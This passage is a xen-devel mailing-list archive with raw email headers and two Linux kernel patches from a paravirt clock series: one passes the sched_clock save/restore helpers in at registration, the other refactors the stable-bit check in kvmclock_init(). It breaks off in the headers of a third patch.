         qewBBvuv7qCJ5QBWztC+B9uUv1G+defKU3U+99BCzBD5DWcW1/wfh6HedKpK+fJLIoNW
         vly2dFFRvk3+diZLZi6Goqht29p1tPS666bOMs6uRYFLGGgYMvw8VbR3Trqcpnmo3S/f
         0fvoxxKtc1Px5IlCtscD5NkRCSa0Tx1SoypmQVHQNu3V4r9cTqVWaU6uBUenGN2ef2Cw
         +plK28ccWd1Fw/qdEJzuRaQcvfRgP3RkCCOoRLv4TmZFvCZJ+CcXn5DY6Fni2Ez1Jwvx
         0Dwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934391; x=1783539191;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=V+q3+pR5470wsF5QmCXBVWy55xlVZlxhghTF4iDuO4s=;
        b=DhV56l2G4NT6wV7U3bSzKp41bhVvBNAn3Jd1gkMfOtfvPCveWJbRUYnn0YCsV3CyFp
         HoAXrsYeM8sKSvUq2hUyQe4fq0Tnb23u08jpk7YfJJi2mjlnCTpe//YzB7x9hnDzXk3y
         eZ67JVtsN6c1Lf6H9pQ4ev+Aa656Uu/39mvGsxPE7etT4C9uFuXTrX/FUk+lQO1TmoU2
         w1nFZr6WbyG2jXGxgPBWqPiQvSh+kuMfSvPdyL43u4hbZHXtb2pdy1uArsW8DrIJ5SHr
         kmlv+6pMqTRaxcFb+m2MQtoFYImUketSTtgw7cDeOHTo4o5eJuEujFRkMJcpMTeHeIIs
         A6sQ==
X-Forwarded-Encrypted: i=1; AFNElJ8gxUfFUT6Z9+J18d0Fgq03EVQ7dd/jta98mspO7G4DZnbZwFsUiA/fksQMr9sWV1OdQCFM7wSIik4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzYkIPehdpksCBvAYJggMRBNgh+asMawGM2UR2ahtZAcCUMhzt3
	Tw+ecLsqZOzfjtLkrlP6gLyc0b2pzprZqHe0db0SSZAy8LmEIMF89+kmqkSiGXWTF0UrnE5zNI5
	1vj7/Eg==
X-Received: from pfblh19.prod.google.com ([2002:a05:6a00:7113:b0:847:926b:dc16])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:2d0e:b0:845:d284:9e11
 with SMTP id d2e1a72fcca58-847c51d242emr1964528b3a.56.1782934390999; Wed, 01
 Jul 2026 12:33:10 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:57 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-37-seanjc@google.com>
Subject: [PATCH v5 36/51] x86/paravirt: Pass sched_clock save/restore helpers
 during registration
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934393-2E95B1CC-BFF08E8F/0/0
X-purgate-type: clean
X-purgate-size: 5719

Pass in a PV clock's save/restore helpers when configuring sched_clock
instead of relying on each PV clock to manually set the save/restore hooks.
In addition to bringing sanity to the code, this will allow gracefully
"rejecting" a PV sched_clock, e.g. when running as a CoCo guest that has
access to a "secure" TSC.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h       | 9 ++++++---
 arch/x86/kernel/cpu/vmware.c       | 8 +++-----
 arch/x86/kernel/kvmclock.c         | 6 +++---
 arch/x86/kernel/tsc.c              | 5 ++++-
 arch/x86/xen/time.c                | 5 ++---
 drivers/clocksource/hyperv_timer.c | 6 ++----
 6 files changed, 20 insertions(+), 19 deletions(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index fe41d40a9ae6..e97cd1ae03d1 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -14,11 +14,14 @@ extern int no_timer_check;
 extern bool using_native_sched_clock(void);
 
 #ifdef CONFIG_PARAVIRT
-void __paravirt_set_sched_clock(u64 (*func)(void), bool stable);
+void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				void (*save)(void), void (*restore)(void));
 
-static inline void paravirt_set_sched_clock(u64 (*func)(void))
+static inline void paravirt_set_sched_clock(u64 (*func)(void),
+					    void (*save)(void),
+					    void (*restore)(void))
 {
-	__paravirt_set_sched_clock(func, true);
+	__paravirt_set_sched_clock(func, true, save, restore);
 }
 #endif
 
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 5c1ccaf4a25e..232255279a6e 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -347,11 +347,9 @@ static void __init vmware_paravirt_ops_setup(void)
 
 	vmware_cyc2ns_setup();
 
-	if (vmw_sched_clock) {
-		paravirt_set_sched_clock(vmware_sched_clock);
-		x86_platform.save_sched_clock_state = x86_init_noop;
-		x86_platform.restore_sched_clock_state = x86_init_noop;
-	}
+	if (vmw_sched_clock)
+		paravirt_set_sched_clock(vmware_sched_clock,
+					 x86_init_noop, x86_init_noop);
 
 	if (vmware_is_stealclock_available()) {
 		has_steal_clock = true;
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 07e875738c39..5b9955343199 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -158,7 +158,9 @@ static void kvm_restore_sched_clock_state(void)
 static inline void kvm_sched_clock_init(bool stable)
 {
 	kvm_sched_clock_offset = kvm_clock_read();
-	__paravirt_set_sched_clock(kvm_sched_clock_read, stable);
+	__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
+				   kvm_save_sched_clock_state,
+				   kvm_restore_sched_clock_state);
 
 	pr_info("kvm-clock: using sched offset of %llu cycles",
 		kvm_sched_clock_offset);
@@ -367,8 +369,6 @@ void __init kvmclock_init(bool prefer_tsc)
 #ifdef CONFIG_SMP
 	x86_cpuinit.early_percpu_clock_init = kvm_setup_secondary_clock;
 #endif
-	x86_platform.save_sched_clock_state = kvm_save_sched_clock_state;
-	x86_platform.restore_sched_clock_state = kvm_restore_sched_clock_state;
 	kvm_get_preset_lpj();
 
 	/*
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 7473dcab4775..83353d643150 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -280,12 +280,15 @@ bool using_native_sched_clock(void)
 	return static_call_query(pv_sched_clock) == native_sched_clock;
 }
 
-void __paravirt_set_sched_clock(u64 (*func)(void), bool stable)
+void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				void (*save)(void), void (*restore)(void))
 {
 	if (!stable)
 		clear_sched_clock_stable();
 
 	static_call_update(pv_sched_clock, func);
+	x86_platform.save_sched_clock_state = save;
+	x86_platform.restore_sched_clock_state = restore;
 }
 #else
 u64 sched_clock_noinstr(void) __attribute__((alias("native_sched_clock")));
diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
index 477441752f40..8cd8bfaf1320 100644
--- a/arch/x86/xen/time.c
+++ b/arch/x86/xen/time.c
@@ -566,13 +566,12 @@ static void __init xen_init_time_common(void)
 {
 	xen_sched_clock_offset = xen_clocksource_read();
 	static_call_update(pv_steal_clock, xen_steal_clock);
-	paravirt_set_sched_clock(xen_sched_clock);
+
 	/*
 	 * Xen has paravirtualized suspend/resume and so doesn't use the common
 	 * x86 sched_clock save/restore hooks.
 	 */
-	x86_platform.save_sched_clock_state = x86_init_noop;
-	x86_platform.restore_sched_clock_state = x86_init_noop;
+	paravirt_set_sched_clock(xen_sched_clock, x86_init_noop, x86_init_noop);
 
 	x86_init.hyper.get_tsc_khz = xen_tsc_khz;
 	x86_platform.get_wallclock = xen_get_wallclock;
diff --git a/drivers/clocksource/hyperv_timer.c b/drivers/clocksource/hyperv_timer.c
index 220668207d19..8ee7a9de0f4f 100644
--- a/drivers/clocksource/hyperv_timer.c
+++ b/drivers/clocksource/hyperv_timer.c
@@ -570,10 +570,8 @@ static void hv_restore_sched_clock_state(void)
 static __always_inline void hv_setup_sched_clock(void *sched_clock)
 {
 	/* We're on x86/x64 *and* using PV ops */
-	paravirt_set_sched_clock(sched_clock);
-
-	x86_platform.save_sched_clock_state = hv_save_sched_clock_state;
-	x86_platform.restore_sched_clock_state = hv_restore_sched_clock_state;
+	paravirt_set_sched_clock(sched_clock, hv_save_sched_clock_state,
+				 hv_restore_sched_clock_state);
 }
 #else /* !CONFIG_GENERIC_SCHED_CLOCK && !CONFIG_PARAVIRT */
 static __always_inline void hv_setup_sched_clock(void *sched_clock) {}
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350487.1608006 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gT-0007wi-Pj; Wed, 01 Jul 2026 19:33:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350487.1608006; Wed, 01 Jul 2026 19:33:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gT-0007wZ-Mp; Wed, 01 Jul 2026 19:33:21 +0000
Received: by outflank-mailman (input) for mailman id 1350487;
 Wed, 01 Jul 2026 19:33:19 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3fGtFagYKCcEzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 1wf0gR-0007pp-Sl
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0gR-00BwAh-9l
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:19 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3fGtFagYKCcEzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a456b5d-e002-0a2a0a5209dd-0a2a450cb9fc-38
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:19 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3fGtFagYKCcEzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a456b7d-f399-0a2a450c0019-d155d84acd57-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:19 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-37c9127e316so1038123a91.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934397; x=1783539197; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=UQI87jJDSOF5xYM7+FYJ7P3rXlAyaoExltyOrt00Pyo=;
        b=ika9TgK0rkbiNzrK4gMAB5TRAB71i6Og/pR24Qe4F088Y8IvCifB+gBdHsfNjjfLJ1
         i34osTpGwqcI0ls+jptQQbviO8TZ1NVekH6qz4F7RZJ1VNvD55PKzktUxOxqzsI7INkK
         hxhygHM8zBZs89G7jRPdYiPIgN7iiXX6R/e+P82w1AdFMLxFq9aTdHxcav8Zyy/HvGA0
         dvN/Dm91RhhpgGbpNOrNjVnZzMvf2gQqGBjRcSFQH0nZatY+3NximtvQ739RjRwSkv95
         wVhKpE1Mvp8qzM71ZegMdkliA1UAM8hP4BHRBuxzMCiCKIJKZFXDpDuDYVXiM0wFlGyK
         r34w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934397; x=1783539197;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=UQI87jJDSOF5xYM7+FYJ7P3rXlAyaoExltyOrt00Pyo=;
        b=i7Z5IPdAJQy/XfTUi/BkCQLj/34G9cENs64DMQ2yuXTWawWsw8y6odZ8yKdfmfjObO
         o2bPFQakgNkyhFNuQaeXj7gkcv3wQS2r0v6oKNjh8ts3O54qPRicAjgJVYwhxLgSUV17
         nmEv1S2A9fnuk0XBrz41uaMV9Xq9R7K9+kGXIinTghUZW/TQb3+Bx3Ggijjg/MmJNOZ/
         EcvqPybkdswQw1GvQeJ/0MhiuxUDEYNpd1e6lmFMjZy91YPp0eGE6RwPx/qaOzISQ6QI
         gUpa/2pL7GtO4XJw5/T7Ul+x/6THPn0g2ctjwNWrCO1BRii79TkiWh2twzmXQXSnWv0A
         sGAg==
X-Forwarded-Encrypted: i=1; AHgh+RopvbsKRY2mNXcOLdJndcbuLLn83T9YJaopL3D4bsxqCntGzrFdT96vCYu8I3TeMgfjiw2043fN5bY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YytHUUScqb4EBDS+rfTHD41QovF7Pmg2L0ZGaWnKK8+hjflqePV
	1B/x3b27kYmY7K6yMZLVLQg8bTIa32KEpwFDyjjFUy9LuPWBXcF5q/ckeIRv7Fk1dX7lqj/K14l
	3PgMHYw==
X-Received: from pjbcv6.prod.google.com ([2002:a17:90a:fd06:b0:37d:de2f:3ddf])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:4e84:b0:37f:eda5:5169
 with SMTP id 98e67ed59e1d1-380aa127da8mr2911601a91.13.1782934396852; Wed, 01
 Jul 2026 12:33:16 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:02 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-42-seanjc@google.com>
Subject: [PATCH v5 41/51] x86/kvmclock: Refactor handling of
 PVCLOCK_TSC_STABLE_BIT during kvmclock_init()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-d25034/1782934399-93737D51-E8DF9952/0/0
X-purgate-type: clean
X-purgate-size: 1898

Clean up the setting of PVCLOCK_TSC_STABLE_BIT during kvmclock init to
make it somewhat obvious that pvclock_read_flags() must be called *after*
pvclock_set_flags().

Note, in theory, a different PV clock could have set PVCLOCK_TSC_STABLE_BIT
in the supported flags, i.e. reading flags only if
KVM_FEATURE_CLOCKSOURCE_STABLE_BIT is set could very, very theoretically
result in a change in behavior.  In practice, the kernel only supports a
single PV clock.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 5220d205abc7..61d4d943fe74 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -327,7 +327,7 @@ static __init void kvm_sched_clock_init(bool stable)
 
 void __init kvmclock_init(bool prefer_tsc)
 {
-	u8 flags;
+	bool stable = false;
 
 	if (!kvm_para_available() || !kvmclock)
 		return;
@@ -354,11 +354,18 @@ void __init kvmclock_init(bool prefer_tsc)
 	kvm_register_clock("primary cpu clock");
 	pvclock_set_pvti_cpu0_va(hv_clock_boot);
 
-	if (kvm_para_has_feature(KVM_FEATURE_CLOCKSOURCE_STABLE_BIT))
+	if (kvm_para_has_feature(KVM_FEATURE_CLOCKSOURCE_STABLE_BIT)) {
 		pvclock_set_flags(PVCLOCK_TSC_STABLE_BIT);
 
-	flags = pvclock_read_flags(&hv_clock_boot[0].pvti);
-	kvm_sched_clock_init(flags & PVCLOCK_TSC_STABLE_BIT);
+		/*
+		 * Check if the clock is stable *after* marking TSC_STABLE as a
+		 * valid flag.
+		 */
+		stable = pvclock_read_flags(&hv_clock_boot[0].pvti) &
+			 PVCLOCK_TSC_STABLE_BIT;
+	}
+
+	kvm_sched_clock_init(stable);
 
 	if (!x86_init.hyper.get_tsc_khz)
 		x86_init.hyper.get_tsc_khz = kvmclock_get_tsc_khz;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350501.1608015 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gY-000075-6V; Wed, 01 Jul 2026 19:33:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350501.1608015; Wed, 01 Jul 2026 19:33:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gY-00006l-1u; Wed, 01 Jul 2026 19:33:26 +0000
Received: by outflank-mailman (input) for mailman id 1350501;
 Wed, 01 Jul 2026 19:33:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3gmtFagYKCcc5rn0wpt11tyr.p1zAr0-qr8ryyv565.Ar0241wrp6.14t@flex--seanjc.bounces.google.com>)
 id 1wf0gX-0008Vk-Ga
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0gW-00B3zO-To
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:24 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3gmtFagYKCcc5rn0wpt11tyr.p1zAr0-qr8ryyv565.Ar0241wrp6.14t@flex--seanjc.bounces.google.com>)
 id 6a456b79-5cb7-0a2a0a5109dd-0a2a4504c410-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:24 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3gmtFagYKCcc5rn0wpt11tyr.p1zAr0-qr8ryyv565.Ar0241wrp6.14t@flex--seanjc.bounces.google.com>)
 id 6a456b83-a01d-0a2a45040019-d155d2c9adc0-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:24 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-847a2509456so1136966b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934403; x=1783539203; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=4/M1D57lssm/A6RYRKDqaCs4EQpgkZGCf/uDo3WK1sI=;
        b=wfMBPqMjP87Bz44fHELq8qviF5v6Gytxq5XFD8N/7Y8mzyjiAUvgOCxF2ZBVRBp/Av
         IvsQsfjPu0ZbzepH2FnezRhq0oux8Cl6MMaVInWmk2Ab3++7OQ+xn8goHbkGBgKcWMbQ
         wJBM+k2WxcmC54nGWFSYnItTMC0n3Vf2aIATS5DN2sJBUrO0fUBnHU90EBdXY95M7KPB
         RPQhJk9tnUxGoAuAkPNiqT4TUe3odr30dudeyO3EqG4CeXuFIK/hr694q4fNeAWqRXTw
         7ALlIJrkL9Fik8a+oOu+EuklROkCbFrAMDLOxpQJFsPKdEwDEzE9KKOGv4AGI/bilEUt
         8L5g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934403; x=1783539203;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=4/M1D57lssm/A6RYRKDqaCs4EQpgkZGCf/uDo3WK1sI=;
        b=p7Iv5dKEz+O7Cbx8W5EX+naq/DizaYkMXwEQrKH1lb6HEKNahQDTPuCfwccTbI/0Q2
         FxrG+ZQ3yQW4r/YDWS3hK+xcf6kCknGLXqRKWC8u2MptnBMeGtMxSFI79j2rjfVLKGvp
         Cmx3CMsRELjLOKddgy+qZox2PYcU/JIlf5+DNIZLUCSZnjlqwkGy9wr5cOYyv1iD6Xly
         7QJr/GXBhlRpbNPT35jNFOKv5GLKAvOw2FfnbyBmNhlxarSQ1a5Q9NR4pq2bFgLz5XYS
         MubWWIVmEdPDyugYX2SkfXkBlhMBeJ8J2ucLUFhCHFFdcO70zyyvoV3+N4KJslhOBN+x
         R48Q==
X-Forwarded-Encrypted: i=1; AFNElJ/A/LQJGzCm5eRSn7PgoUdV/oK70m0T9dWmv+lXSVKwreLlYEvLsDZftiFniKnv+xkVRqzE4J4vykI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwpTZX315N6b/Ty2HRvN0FO8gd5U80WkvfAimjmO8GYrhGkvTJO
	w1fHQoE8apZY2lAZkSOMaI8dJGhg2jwxKVHjAOAysbS2HguqJxE4TOYLLSdiLuujDYcZmedo4Mz
	ed1IQTQ==
X-Received: from pgal188.prod.google.com ([2002:a63:3ec5:0:b0:c98:a4cf:469b])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:62cc:b0:3aa:c964:3c27
 with SMTP id adf61e73a8af0-3bfed49ea64mr3435408637.46.1782934402561; Wed, 01
 Jul 2026 12:33:22 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:07 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-47-seanjc@google.com>
Subject: [PATCH v5 46/51] x86/paravirt: Plumb a return code into __paravirt_set_sched_clock()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
